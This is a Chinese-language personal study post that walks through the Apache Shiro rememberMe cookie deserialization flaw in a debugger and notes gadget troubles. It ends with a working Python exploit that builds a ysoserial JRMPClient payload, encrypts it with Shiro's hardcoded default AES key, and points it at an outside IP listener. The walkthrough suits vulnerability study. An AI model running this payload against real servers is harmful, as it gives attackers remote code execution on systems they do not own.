shiro反序列化学习
最近国庆学习一下shiro的反序列化
用docker大法来远程调试
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
在getRememberedIdentity
处下个断点
跟进去
走getRememberedPrincipals
getRememberedSerializedIdentity
在这里从cookie中获得rememberMe的值
convertBytesToPrincipals
在这里有一个deserialize
进行反序列化的操作
走了一次AES的解密
秘钥是通过这个函数拿的
搜索一下是怎么放进去的
通过了set的方法
在搜索一下这个在哪里调用
可以看到这个函数
再看一下key怎么来的
到当前类的构造方法里面了
key是大写的说明是个固定变量
说明值是这个
aes的key也有了就说明可以自己构造一个cookie
然后走deserialize
进反序列化的方法
到了这里可以看到readobject了
成功将rmi反序列化执行
疑难
因为我是官网下载的shiro.war
自带的lib特别少能使用的gadget只有rmi这种
一直报
这个错误
进入不到ois.readobject这个地方
lib只有这么多
将commons-beautils换成1.9.2重新编译一下
一直编译不成功救命=。=以后再看看为啥编译一直不行
payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme('118.24.25.25:3888')
print "rememberMe={0}".format(payload.decode())
参考
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://lightless.me/archives/java-unserialization-apache-shiro.html
https://mp.weixin.qq.com/s?__biz=MzAxNDM3NTM0NQ==&mid=2657034900&idx=1&sn=e4ff58b08bc3107a189b25d80ca5c6db&chksm=803fc24ab7484b5c9bf32512f33ba19bdf2966cf28f26505bbfb75c94adc4ff9ee5b73bdd874&mpshare=1&scene=23&srcid=&sharer_sharetime=1568782056559&sharer_shareid=aa9f5a7b16d5a9f506f2d4dac5dbd342